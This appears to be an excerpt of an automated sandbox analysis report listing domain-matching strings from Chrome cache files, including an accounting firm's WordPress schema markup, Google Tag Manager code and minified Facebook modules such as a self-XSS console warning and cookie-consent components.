Source: chromecache_302.2.dr, chromecache_490.2.dr, chromecache_237.2.dr	String found in binary or memory: <div class="linkdin_icon"><a target="_blank" href="https://www.facebook.com/bfjfinancial/"><img src="https://www.bfjfinancial.com/wp-content/themes/x-child/images/facebook-50.png"/></a></div> equals www.facebook.com (Facebook)
Source: chromecache_302.2.dr, chromecache_490.2.dr, chromecache_237.2.dr	String found in binary or memory: <meta property="article:publisher" content="https://www.facebook.com/bfjfinancial" /> equals www.facebook.com (Facebook)
Source: chromecache_302.2.dr	String found in binary or memory: <script type="application/ld+json" class="yoast-schema-graph">{"@context":"https://schema.org","@graph":[{"@type":"Article","@id":"https://www.bfjfinancial.com/what-is-the-best-online-casino-websites/#article","isPartOf":{"@id":"https://www.bfjfinancial.com/what-is-the-best-online-casino-websites/"},"author":{"name":"bfjdev","@id":"https://www.bfjfinancial.com/#/schema/person/821286d4f30012f390a0fa2b25b8f0e8"},"headline":"What is the best Online Casino Websites?","datePublished":"2024-04-09T19:26:42+00:00","dateModified":"2024-04-09T19:26:42+00:00","mainEntityOfPage":{"@id":"https://www.bfjfinancial.com/what-is-the-best-online-casino-websites/"},"wordCount":799,"commentCount":0,"publisher":{"@id":"https://www.bfjfinancial.com/#organization"},"articleSection":["Administration"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https://www.bfjfinancial.com/what-is-the-best-online-casino-websites/#respond"]}]},{"@type":"WebPage","@id":"https://www.bfjfinancial.com/what-is-the-best-online-casino-websites/","url":"https://www.bfjfinancial.com/what-is-the-best-online-casino-websites/","name":"What is the best Online Casino Websites? - BFJ Tax & Accounting","isPartOf":{"@id":"https://www.bfjfinancial.com/#website"},"about":{"@id":"https://www.bfjfinancial.com/#organization"},"datePublished":"2024-04-09T19:26:42+00:00","dateModified":"2024-04-09T19:26:42+00:00","breadcrumb":{"@id":"https://www.bfjfinancial.com/what-is-the-best-online-casino-websites/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https://www.bfjfinancial.com/what-is-the-best-online-casino-websites/"]}]},{"@type":"BreadcrumbList","@id":"https://www.bfjfinancial.com/what-is-the-best-online-casino-websites/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home"}]},{"@type":"WebSite","@id":"https://www.bfjfinancial.com/#website","url":"https://www.bfjfinancial.com/","name":"BFJ Tax & Accounting","description":"Financial Group","publisher":{"@id":"https://www.bfjfinancial.com/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https://www.bfjfinancial.com/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https://www.bfjfinancial.com/#organization","name":"BFJ Financial Group","url":"https://www.bfjfinancial.com/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https://www.bfjfinancial.com/#/schema/logo/image/","url":"https://www.bfjfinancial.com/wp-content/uploads/2017/06/favicon-1.png","contentUrl":"https://www.bfjfinancial.com/wp-content/uploads/2017/06/favicon-1.png","width":80,"height":45,"caption":"BFJ Financial Group"},"image":{"@id":"https://www.bfjfinancial.com/#/schema/logo/image/"},"sameAs":["https://www.facebook.com/bfjfinancial","https://www.linkedin.com/company/bfj-financial-group/"]},{"@type":"Person","@id":"https://www.bfjfin
Source: chromecache_302.2.dr	String found in binary or memory: <script type="application/ld+json" class="yoast-schema-graph">{"@context":"https://schema.org","@graph":[{"@type":"Article","@id":"https://www.bfjfinancial.com/what-is-the-best-online-casino-websites/#article","isPartOf":{"@id":"https://www.bfjfinancial.com/what-is-the-best-online-casino-websites/"},"author":{"name":"bfjdev","@id":"https://www.bfjfinancial.com/#/schema/person/821286d4f30012f390a0fa2b25b8f0e8"},"headline":"What is the best Online Casino Websites?","datePublished":"2024-04-09T19:26:42+00:00","dateModified":"2024-04-09T19:26:42+00:00","mainEntityOfPage":{"@id":"https://www.bfjfinancial.com/what-is-the-best-online-casino-websites/"},"wordCount":799,"commentCount":0,"publisher":{"@id":"https://www.bfjfinancial.com/#organization"},"articleSection":["Administration"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https://www.bfjfinancial.com/what-is-the-best-online-casino-websites/#respond"]}]},{"@type":"WebPage","@id":"https://www.bfjfinancial.com/what-is-the-best-online-casino-websites/","url":"https://www.bfjfinancial.com/what-is-the-best-online-casino-websites/","name":"What is the best Online Casino Websites? - BFJ Tax & Accounting","isPartOf":{"@id":"https://www.bfjfinancial.com/#website"},"about":{"@id":"https://www.bfjfinancial.com/#organization"},"datePublished":"2024-04-09T19:26:42+00:00","dateModified":"2024-04-09T19:26:42+00:00","breadcrumb":{"@id":"https://www.bfjfinancial.com/what-is-the-best-online-casino-websites/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https://www.bfjfinancial.com/what-is-the-best-online-casino-websites/"]}]},{"@type":"BreadcrumbList","@id":"https://www.bfjfinancial.com/what-is-the-best-online-casino-websites/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home"}]},{"@type":"WebSite","@id":"https://www.bfjfinancial.com/#website","url":"https://www.bfjfinancial.com/","name":"BFJ Tax & Accounting","description":"Financial Group","publisher":{"@id":"https://www.bfjfinancial.com/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https://www.bfjfinancial.com/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https://www.bfjfinancial.com/#organization","name":"BFJ Financial Group","url":"https://www.bfjfinancial.com/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https://www.bfjfinancial.com/#/schema/logo/image/","url":"https://www.bfjfinancial.com/wp-content/uploads/2017/06/favicon-1.png","contentUrl":"https://www.bfjfinancial.com/wp-content/uploads/2017/06/favicon-1.png","width":80,"height":45,"caption":"BFJ Financial Group"},"image":{"@id":"https://www.bfjfinancial.com/#/schema/logo/image/"},"sameAs":["https://www.facebook.com/bfjfinancial","https://www.linkedin.com/company/bfj-financial-group/"]},{"@type":"Person","@id":"https://www.bfjfin
Source: chromecache_490.2.dr	String found in binary or memory: <script type="application/ld+json" class="yoast-schema-graph">{"@context":"https://schema.org","@graph":[{"@type":"WebPage","@id":"https://www.bfjfinancial.com/about-us/","url":"https://www.bfjfinancial.com/about-us/","name":"About Us - BFJ Tax & Accounting","isPartOf":{"@id":"https://www.bfjfinancial.com/#website"},"primaryImageOfPage":{"@id":"https://www.bfjfinancial.com/about-us/#primaryimage"},"image":{"@id":"https://www.bfjfinancial.com/about-us/#primaryimage"},"thumbnailUrl":"https://www.bfjfinancial.com/wp-content/uploads/2017/05/About_banner_284262254-2.jpg","datePublished":"2017-05-25T11:55:15+00:00","dateModified":"2024-04-05T14:37:00+00:00","description":"BFJ Financial Group, the merger of Bell & Frech, LLC and Jerone O. Jacobs & Associates.providing our clients with full range of business and personal tax...","breadcrumb":{"@id":"https://www.bfjfinancial.com/about-us/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https://www.bfjfinancial.com/about-us/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https://www.bfjfinancial.com/about-us/#primaryimage","url":"https://www.bfjfinancial.com/wp-content/uploads/2017/05/About_banner_284262254-2.jpg","contentUrl":"https://www.bfjfinancial.com/wp-content/uploads/2017/05/About_banner_284262254-2.jpg","width":1600,"height":411},{"@type":"BreadcrumbList","@id":"https://www.bfjfinancial.com/about-us/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https://www.bfjfinancial.com/"},{"@type":"ListItem","position":2,"name":"About Us"}]},{"@type":"WebSite","@id":"https://www.bfjfinancial.com/#website","url":"https://www.bfjfinancial.com/","name":"BFJ Tax & Accounting","description":"Financial Group","publisher":{"@id":"https://www.bfjfinancial.com/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https://www.bfjfinancial.com/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https://www.bfjfinancial.com/#organization","name":"BFJ Financial Group","url":"https://www.bfjfinancial.com/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https://www.bfjfinancial.com/#/schema/logo/image/","url":"https://www.bfjfinancial.com/wp-content/uploads/2017/06/favicon-1.png","contentUrl":"https://www.bfjfinancial.com/wp-content/uploads/2017/06/favicon-1.png","width":80,"height":45,"caption":"BFJ Financial Group"},"image":{"@id":"https://www.bfjfinancial.com/#/schema/logo/image/"},"sameAs":["https://www.facebook.com/bfjfinancial","https://www.linkedin.com/company/bfj-financial-group/"]}]}</script> equals www.facebook.com (Facebook)
Source: chromecache_490.2.dr	String found in binary or memory: <script type="application/ld+json" class="yoast-schema-graph">{"@context":"https://schema.org","@graph":[{"@type":"WebPage","@id":"https://www.bfjfinancial.com/about-us/","url":"https://www.bfjfinancial.com/about-us/","name":"About Us - BFJ Tax & Accounting","isPartOf":{"@id":"https://www.bfjfinancial.com/#website"},"primaryImageOfPage":{"@id":"https://www.bfjfinancial.com/about-us/#primaryimage"},"image":{"@id":"https://www.bfjfinancial.com/about-us/#primaryimage"},"thumbnailUrl":"https://www.bfjfinancial.com/wp-content/uploads/2017/05/About_banner_284262254-2.jpg","datePublished":"2017-05-25T11:55:15+00:00","dateModified":"2024-04-05T14:37:00+00:00","description":"BFJ Financial Group, the merger of Bell & Frech, LLC and Jerone O. Jacobs & Associates.providing our clients with full range of business and personal tax...","breadcrumb":{"@id":"https://www.bfjfinancial.com/about-us/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https://www.bfjfinancial.com/about-us/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https://www.bfjfinancial.com/about-us/#primaryimage","url":"https://www.bfjfinancial.com/wp-content/uploads/2017/05/About_banner_284262254-2.jpg","contentUrl":"https://www.bfjfinancial.com/wp-content/uploads/2017/05/About_banner_284262254-2.jpg","width":1600,"height":411},{"@type":"BreadcrumbList","@id":"https://www.bfjfinancial.com/about-us/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https://www.bfjfinancial.com/"},{"@type":"ListItem","position":2,"name":"About Us"}]},{"@type":"WebSite","@id":"https://www.bfjfinancial.com/#website","url":"https://www.bfjfinancial.com/","name":"BFJ Tax & Accounting","description":"Financial Group","publisher":{"@id":"https://www.bfjfinancial.com/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https://www.bfjfinancial.com/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https://www.bfjfinancial.com/#organization","name":"BFJ Financial Group","url":"https://www.bfjfinancial.com/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https://www.bfjfinancial.com/#/schema/logo/image/","url":"https://www.bfjfinancial.com/wp-content/uploads/2017/06/favicon-1.png","contentUrl":"https://www.bfjfinancial.com/wp-content/uploads/2017/06/favicon-1.png","width":80,"height":45,"caption":"BFJ Financial Group"},"image":{"@id":"https://www.bfjfinancial.com/#/schema/logo/image/"},"sameAs":["https://www.facebook.com/bfjfinancial","https://www.linkedin.com/company/bfj-financial-group/"]}]}</script> equals www.linkedin.com (Linkedin)
Source: chromecache_237.2.dr	String found in binary or memory: <script type="application/ld+json" class="yoast-schema-graph">{"@context":"https://schema.org","@graph":[{"@type":"WebPage","@id":"https://www.bfjfinancial.com/payment/","url":"https://www.bfjfinancial.com/payment/","name":"Online Payment - BFJ Tax & Accounting","isPartOf":{"@id":"https://www.bfjfinancial.com/#website"},"datePublished":"2023-03-28T13:26:24+00:00","dateModified":"2023-04-28T09:04:08+00:00","breadcrumb":{"@id":"https://www.bfjfinancial.com/payment/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https://www.bfjfinancial.com/payment/"]}]},{"@type":"BreadcrumbList","@id":"https://www.bfjfinancial.com/payment/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https://www.bfjfinancial.com/"},{"@type":"ListItem","position":2,"name":"Online Payment"}]},{"@type":"WebSite","@id":"https://www.bfjfinancial.com/#website","url":"https://www.bfjfinancial.com/","name":"BFJ Tax & Accounting","description":"Financial Group","publisher":{"@id":"https://www.bfjfinancial.com/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https://www.bfjfinancial.com/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https://www.bfjfinancial.com/#organization","name":"BFJ Financial Group","url":"https://www.bfjfinancial.com/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https://www.bfjfinancial.com/#/schema/logo/image/","url":"https://www.bfjfinancial.com/wp-content/uploads/2017/06/favicon-1.png","contentUrl":"https://www.bfjfinancial.com/wp-content/uploads/2017/06/favicon-1.png","width":80,"height":45,"caption":"BFJ Financial Group"},"image":{"@id":"https://www.bfjfinancial.com/#/schema/logo/image/"},"sameAs":["https://www.facebook.com/bfjfinancial","https://www.linkedin.com/company/bfj-financial-group/"]}]}</script> equals www.facebook.com (Facebook)
Source: chromecache_237.2.dr	String found in binary or memory: <script type="application/ld+json" class="yoast-schema-graph">{"@context":"https://schema.org","@graph":[{"@type":"WebPage","@id":"https://www.bfjfinancial.com/payment/","url":"https://www.bfjfinancial.com/payment/","name":"Online Payment - BFJ Tax & Accounting","isPartOf":{"@id":"https://www.bfjfinancial.com/#website"},"datePublished":"2023-03-28T13:26:24+00:00","dateModified":"2023-04-28T09:04:08+00:00","breadcrumb":{"@id":"https://www.bfjfinancial.com/payment/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https://www.bfjfinancial.com/payment/"]}]},{"@type":"BreadcrumbList","@id":"https://www.bfjfinancial.com/payment/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https://www.bfjfinancial.com/"},{"@type":"ListItem","position":2,"name":"Online Payment"}]},{"@type":"WebSite","@id":"https://www.bfjfinancial.com/#website","url":"https://www.bfjfinancial.com/","name":"BFJ Tax & Accounting","description":"Financial Group","publisher":{"@id":"https://www.bfjfinancial.com/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https://www.bfjfinancial.com/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https://www.bfjfinancial.com/#organization","name":"BFJ Financial Group","url":"https://www.bfjfinancial.com/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https://www.bfjfinancial.com/#/schema/logo/image/","url":"https://www.bfjfinancial.com/wp-content/uploads/2017/06/favicon-1.png","contentUrl":"https://www.bfjfinancial.com/wp-content/uploads/2017/06/favicon-1.png","width":80,"height":45,"caption":"BFJ Financial Group"},"image":{"@id":"https://www.bfjfinancial.com/#/schema/logo/image/"},"sameAs":["https://www.facebook.com/bfjfinancial","https://www.linkedin.com/company/bfj-financial-group/"]}]}</script> equals www.linkedin.com (Linkedin)
Source: chromecache_436.2.dr	String found in binary or memory: * License: https://www.facebook.com/legal/license/A4tfXiHOGrs/ equals www.facebook.com (Facebook)
Source: chromecache_255.2.dr	String found in binary or memory: * License: https://www.facebook.com/legal/license/CCT5pM3qiNk/ equals www.facebook.com (Facebook)
Source: chromecache_436.2.dr	String found in binary or memory: * License: https://www.facebook.com/legal/license/Ga6vBwdwgUx/ equals www.facebook.com (Facebook)
Source: chromecache_405.2.dr	String found in binary or memory: * License: https://www.facebook.com/legal/license/HAC-_9WTKIm/ equals www.facebook.com (Facebook)
Source: chromecache_255.2.dr, chromecache_317.2.dr	String found in binary or memory: * License: https://www.facebook.com/legal/license/MDzNl_j9yvg/ equals www.facebook.com (Facebook)
Source: chromecache_381.2.dr	String found in binary or memory: * License: https://www.facebook.com/legal/license/OKBVmODmb-W/ equals www.facebook.com (Facebook)
Source: chromecache_255.2.dr	String found in binary or memory: * License: https://www.facebook.com/legal/license/V9vdYColc4k/ equals www.facebook.com (Facebook)
Source: chromecache_255.2.dr	String found in binary or memory: * License: https://www.facebook.com/legal/license/WRsJ32R7YJG/ equals www.facebook.com (Facebook)
Source: chromecache_255.2.dr	String found in binary or memory: * License: https://www.facebook.com/legal/license/aJoeSHn7XcN/ equals www.facebook.com (Facebook)
Source: chromecache_255.2.dr, chromecache_317.2.dr	String found in binary or memory: * License: https://www.facebook.com/legal/license/t3hOLs8wlXy/ equals www.facebook.com (Facebook)
Source: chromecache_302.2.dr, chromecache_490.2.dr, chromecache_237.2.dr	String found in binary or memory: <div class="facebook"><a target="_blank" href="https://www.facebook.com/bfjfinancial/" style="outline: currentcolor none medium;"> equals www.facebook.com (Facebook)
Source: chromecache_302.2.dr, chromecache_490.2.dr, chromecache_237.2.dr	String found in binary or memory: <div class="linkdin"><a target="_blank" href="https://www.linkedin.com/company/bfj-financial-group"> equals www.linkedin.com (Linkedin)
Source: chromecache_432.2.dr, chromecache_368.2.dr, chromecache_306.2.dr	String found in binary or memory: Math.round(p);v["gtm.videoCurrentTime"]=Math.round(q);v["gtm.videoElapsedTime"]=Math.round(f);v["gtm.videoPercent"]=r;v["gtm.videoVisible"]=t;return v},Ij:function(){e=zb()},od:function(){d()}}};var Dc=ia(["data-gtm-yt-inspected-"]),vC=["www.youtube.com","www.youtube-nocookie.com"],wC,xC=!1; equals www.youtube.com (Youtube)
Source: chromecache_402.2.dr	String found in binary or memory: __d("Chromedome",["fbt"],(function(a,b,c,d,e,f,g,h){function i(){if(document.domain==null)return null;var a=document.domain,b=/^intern\./.test(a);if(b)return null;b=/(^\|\.)facebook\.(com\|sg)$/.test(a);if(b)return"facebook";b=/(^\|\.)instagram\.com$/.test(a);if(b)return"instagram";b=/(^\|\.)threads\.net$/.test(a);if(b)return"threads";b=/(^\|\.)messenger\.com$/.test(a);return b?"messenger":null}function j(a){if(a==="instagram")return h._("This is a browser feature intended for developers. If someone told you to copy-paste something here to enable an Instagram feature or \"hack\" someone's account, it is a scam and will give them access to your Instagram account.");return a==="threads"?h._("This is a browser feature intended for developers. If someone told you to copy-paste something here to enable a Threads feature or \"hack\" someone's account, it is a scam and will give them access to your Threads account."):h._("This is a browser feature intended for developers. If someone told you to copy-paste something here to enable a Facebook feature or \"hack\" someone's account, it is a scam and will give them access to your Facebook account.")}function a(a){if(top!==window)return;a=i();if(a==null)return;var b=h._("Stop!");a=j(a);var c=h._("See {url} for more information.",[h._param("url","https://www.facebook.com/selfxss")]);if(window.chrome\|\|window.safari){var d="font-family:helvetica; font-size:20px; ";[[b,d+"font-size:50px; font-weight:bold; color:red; -webkit-text-stroke:1px black;"],[a,d],[c,d],["",""]].map(function(a){window.setTimeout(console.log.bind(console,"\n%c"+a[0].toString(),a[1]))})}else{b=[""," .d8888b. 888 888","d88P Y88b 888 888","Y88b. 888 888",' "Y888b. 888888 .d88b. 88888b. 888',' "Y88b. 888 d88""88b 888 "88b 888',' "888 888 888 888 888 888 Y8P',"Y88b d88P Y88b. Y88..88P 888 d88P",' "Y8888P" "Y888 "Y88P" 88888P" 888'," 888"," 888"," 888"];d=(""+a.toString()).match(/.{35}.+?\s+\|.+$/g);if(d!=null){a=Math.floor(Math.max(0,(b.length-d.length)/2));for(var e=0;e<b.length\|\|e<d.length;e++){var f=b[e];b[e]=f+new Array(45-f.length).join(" ")+(d[e-a]\|\|"")}}console.log("\n\n\n"+b.join("\n")+"\n\n"+c.toString()+"\n");return}}g.start=a}),226); equals www.facebook.com (Facebook)
Source: chromecache_381.2.dr	String found in binary or memory: __d("CometCookieConsent2023Q1OtherCompanies.react",["CometCookieConsentModalStringsUpdated","CometCookieConsentSectionAccordion.react","CometCookieConsentUtils.react","CometListCellText.react","TetraText.react","react"],(function(a,b,c,d,e,f,g){"use strict";var h,i=h\|\|d("react");function a(){return i.jsxs("div",{className:"x1nb4dca x1q0q8m5 xso031l xx6bls6",children:[i.jsx("div",{className:"x9orja2",children:i.jsx(c("TetraText.react"),{type:"headlineEmphasized2",children:d("CometCookieConsentModalStringsUpdated").COOKIES_FROM_OTHER_COMPANIES_SECTION_HEADER})}),i.jsx("div",{className:"x1cnzs8",children:i.jsx(c("TetraText.react"),{type:"body3",children:d("CometCookieConsentModalStringsUpdated").getCookiesFromOtherCompaniesSubHeader(p)})}),i.jsx("div",{className:"x1cnzs8",children:i.jsx(c("CometCookieConsentSectionAccordion.react"),{content:k,sectionTitle:j})}),i.jsx("div",{children:i.jsx(c("CometCookieConsentSectionAccordion.react"),{content:m,sectionTitle:l})}),i.jsx("div",{children:i.jsx(c("CometCookieConsentSectionAccordion.react"),{content:o,sectionTitle:n})})]})}a.displayName=a.name+" [from "+f.id+"]";var j=i.jsx(c("CometListCellText.react"),{headline:i.jsx(c("TetraText.react"),{type:"headlineEmphasized3",children:d("CometCookieConsentModalStringsUpdated").HOW_WE_USE_THESE_COOKIES})}),k=i.jsxs("div",{style:{marginLeft:10},children:[i.jsx("div",{style:{paddingBottom:10,paddingTop:10},children:i.jsx(c("TetraText.react"),{type:"body3",children:d("CometCookieConsentModalStringsUpdated").HOW_WE_USE_THESE_COOKIES_INTRO})}),i.jsx(d("CometCookieConsentUtils.react").CometConsentListBullets,{list:[d("CometCookieConsentModalStringsUpdated").HOW_WE_USE_THESE_COOKIES_ITEM_1,d("CometCookieConsentModalStringsUpdated").HOW_WE_USE_THESE_COOKIES_ITEM_2,d("CometCookieConsentModalStringsUpdated").HOW_WE_USE_THESE_COOKIES_ITEM_3]})]}),l=i.jsx(c("CometListCellText.react"),{headline:i.jsx(c("TetraText.react"),{type:"headlineEmphasized3",children:d("CometCookieConsentModalStringsUpdated").IF_ALLOW_THESE_COOKIES})}),m=i.jsx("div",{style:{marginLeft:10},children:i.jsx(d("CometCookieConsentUtils.react").CometConsentListBullets,{list:[d("CometCookieConsentModalStringsUpdated").IF_ALLOW_THESE_COOKIES_ITEM_1,d("CometCookieConsentModalStringsUpdated").IF_ALLOW_THESE_COOKIES_ITEM_2,d("CometCookieConsentModalStringsUpdated").IF_ALLOW_THESE_COOKIES_ITEM_3]})}),n=i.jsx(c("CometListCellText.react"),{headline:i.jsx(c("TetraText.react"),{type:"headlineEmphasized3",children:d("CometCookieConsentModalStringsUpdated").IF_DONT_ALLOW_THESE_COOKIES})}),o=i.jsx("div",{style:{marginLeft:10},children:i.jsx(d("CometCookieConsentUtils.react").CometConsentListBullets,{list:[d("CometCookieConsentModalStringsUpdated").IF_DONT_ALLOW_THESE_COOKIES_ITEM_1,d("CometCookieConsentModalStringsUpdated").IF_DONT_ALLOW_THESE_COOKIES_ITEM_2]})}),p="https://www.facebook.com/privacy/policies/cookies/?annotations[0]=explanation%2F3_companies_list";g.CometCookieConsent2023Q1OtherCompanies=a}),98); equals www.f
Source: chromecache_405.2.dr	String found in binary or memory: __d("CometLegalFooter.react",["fbt","ix","BaseMiddot.react","CometErrorBoundary.react","CometLazyPopoverTrigger.react","CometLink.react","CometPressable.react","FBCookieSettingsLoggedOutConfig","JSResourceForInteraction","ServerTime","TetraIcon.react","TetraText.react","XHealthPolicyCometControllerRouteBuilder","XPrivacyPolicyCometControllerRouteBuilder","fbicon","gkx","react","useCurrentRoute"],(function(a,b,c,d,e,f,g,h,i){"use strict";var j,k=j\|\|d("react"),l=c("JSResourceForInteraction")("CometLegalFooterMoreMenu.react").__setRef("CometLegalFooter.react");function m(){try{var a;return(a=new Date(d("ServerTime").getMillis()))==null?void 0:a.getFullYear()}catch(a){return null}}function a(a){var b=a.isHelpCenter;b=b===void 0?!1:b;var e=a.isPage;e=e===void 0?!1:e;var f=a.onClick;a=d("FBCookieSettingsLoggedOutConfig").should_show_cookie_settings;var g=c("useCurrentRoute")(),j=m(),n=c("XPrivacyPolicyCometControllerRouteBuilder").buildUri({entry_point:"comet_dropdown"}),o=c("XHealthPolicyCometControllerRouteBuilder").buildUri({});e=[{href:"https://www.facebook.com/legal/terms/information_about_page_insights_data",label:h._("Information about Page Insights Data"),render:e&&c("gkx")("22806")},{href:n.toString(),label:h._("Privacy"),testid:"CometDropdownPrivacy"},{href:o.toString(),label:h._("Consumer Health Privacy"),render:c("gkx")("2828"),testid:"CometDropdownHealthPrivacy"},{href:"/terms?ref=pf",label:"Impressum/Terms/NetzDG/UrhDaG",render:c("gkx")("22807")&&!c("gkx")("22808")},{href:"/terms?ref=pf",label:h._("Imprint\/Terms"),render:c("gkx")("22808")},{href:"/legal/germany/",label:"UrhDaG/MStV",render:c("gkx")("22808")},{href:"/policies?ref=pf",label:h._("Terms"),render:!c("gkx")("22807")&&!c("gkx")("22808"),testid:"CometDropdownTerms"},{href:"/business/",label:h._("Advertising")},{href:"/help/568137493302217",label:k.jsxs(k.Fragment,{children:[h._("Ad Choices")," ",k.jsx(c("CometErrorBoundary.react"),{children:k.jsx("span",{className:"x1n2onr6 x1qiirwl",children:k.jsx(c("TetraIcon.react"),{color:"secondary",icon:d("fbicon")._(i("871692"),12)})})})]})},{href:"/policies/cookies/",label:h._("Cookies"),testid:"CometDropdownCookies"},{href:"/privacy/cookie_settings/",label:h._("Cookie Settings"),render:a}].filter(function(a){return a.render==null\|\|a.render===!0});var p=[];if((g==null?void 0:(n=g.rootView.props)==null?void 0:n.seoCrawlingPool)&&(g==null?void 0:(o=g.rootView.props)==null?void 0:o.seoCrawlingPool.url)){Array.from(Array((g==null?void 0:(a=g.rootView.props)==null?void 0:a.seoCrawlingPool.multiple_links)\|\|0)).forEach(function(a,b){p.push(k.jsxs("li",{className:"xt0psk2",children:[k.jsx(c("CometLink.react"),{color:"secondary",href:g==null?void 0:(a=g.rootView.props)==null?void 0:a.seoCrawlingPool.url,onClick:f,weight:"normal",children:g==null?void 0:(a=g.rootView.props)==null?void 0:a.seoCrawlingPool.link_string}),k.jsx(c("BaseMiddot.react"),{})]},b))})}if((g==null?void 0:(n=g.rootView.props)==null?void 0:n.seoGrowthAutomationCrawlingPool)&&(g
Source: chromecache_255.2.dr	String found in binary or memory: __d("FacebookCookieConsentCustomization",["fbt","ix","JSResourceForInteraction","XCookiesPolicyControllerRouteBuilder","isBaseline4EnabledForLoggedOut","isCNILEnabledForLoggedOut","lazyLoadComponent"],(function(a,b,c,d,e,f,g,h,i){"use strict";var j=c("lazyLoadComponent")(c("JSResourceForInteraction")("FacebookCometCookieConsentDialogDataSettings.react").__setRef("FacebookCookieConsentCustomization"));a=function(){var a,b,d,e=null;c("isBaseline4EnabledForLoggedOut")()\|\|c("isCNILEnabledForLoggedOut")()?(b=i("1954651"),d=i("1954649"),e=h._("More options")):(b=i("856481"),d=i("856481"),e=h._("Manage Data Settings"));a=(a=(a=c("XCookiesPolicyControllerRouteBuilder").buildUri({}).getQualifiedUri())==null?void 0:(a=a.setDomain("www.facebook.com"))==null?void 0:a.toString())!=null?a:"";return{essentialCookiesOnly:!1,faviconDark:d,faviconLight:b,policyUrl:a,productName:"FACEBOOK",secondaryAction:{label:e,viewReference:j}}};b=a;g["default"]=b}),226); equals www.facebook.com (Facebook)
Source: chromecache_334.2.dr	String found in binary or memory: __d("RealtimeGraphQLRequest",["invariant","RequestStreamCommonRequestStreamCommonTypes","TransportSelectingClientSingleton","nullthrows","regeneratorRuntime"],(function(a,b,c,d,e,f,g,h){"use strict";a=function(){function a(a){var b=this,e=a.method,f=a.doc_id,g=a.is_intern,i=a.extra_headers,j=a.body,k=a.instrumentation_data;a=a.sandbox;this.$12=function(a){switch(a){case d("RequestStreamCommonRequestStreamCommonTypes").FlowStatus.Started:if(b.$10){b.$9!=null\|\|h(0,13576);a=Date.now()-c("nullthrows")(b.$9);b.$7!=null&&b.$7(a)}else b.$10=!0,b.$5!=null&&b.$5();break;case d("RequestStreamCommonRequestStreamCommonTypes").FlowStatus.Stopped:b.$9=Date.now();b.$6!=null&&b.$6(!1,!1);break;default:break}};this.$10=!1;e={method:e,doc_id:f};g===!0&&(e=babelHelpers["extends"]({},e,{www_tier:"intern"}));a!=null&&(e=babelHelpers["extends"]({},e,{www_sandbox:a.replace(/^not-www\.(\d+)\.(od\|sb)\.internalfb\.com$/,"www.$1.$2.facebook.com")}));i!=null&&(e=babelHelpers["extends"]({},e,i));this.$1=e;this.$2=JSON.stringify(j);this.$11=k}var e=a.prototype;e.onResponse=function(a){this.$3=a;return this};e.onError=function(a){this.$4=a;return this};e.onActive=function(a){this.$5=a;return this};e.onPause=function(a){this.$6=a;return this};e.onResume=function(a){this.$7=a;return this};e.onRetryUpdateRequestBody=function(a){this.$8=a;this.$1=babelHelpers["extends"]({},this.$1,{request_stream_retry:"false"});return this};e.send=function(){var a,d;return b("regeneratorRuntime").async(function(e){while(1)switch(e.prev=e.next){case 0:this.$3!=null\|\|h(0,33593);a={onData:c("nullthrows")(this.$3)};this.$4!=null&&(a=babelHelpers["extends"]({},a,{onTermination:this.$4}));a=babelHelpers["extends"]({},a,{onFlowStatus:this.$12});this.$8!=null&&(a=babelHelpers["extends"]({},a,{onRetryUpdateRequestBody:this.$8}));e.next=7;return b("regeneratorRuntime").awrap(c("TransportSelectingClientSingleton").requestStream(this.$1,this.$2,a,this.$11));case 7:d=e.sent;return e.abrupt("return",{cancel:function(){d.cancel()},amendExperimental:function(a){try{d.amendWithoutAck(JSON.stringify(a));return!0}catch(a){return!1}}});case 9:case"end":return e.stop()}},null,this)};return a}();g["default"]=a}),98); equals www.facebook.com (Facebook)
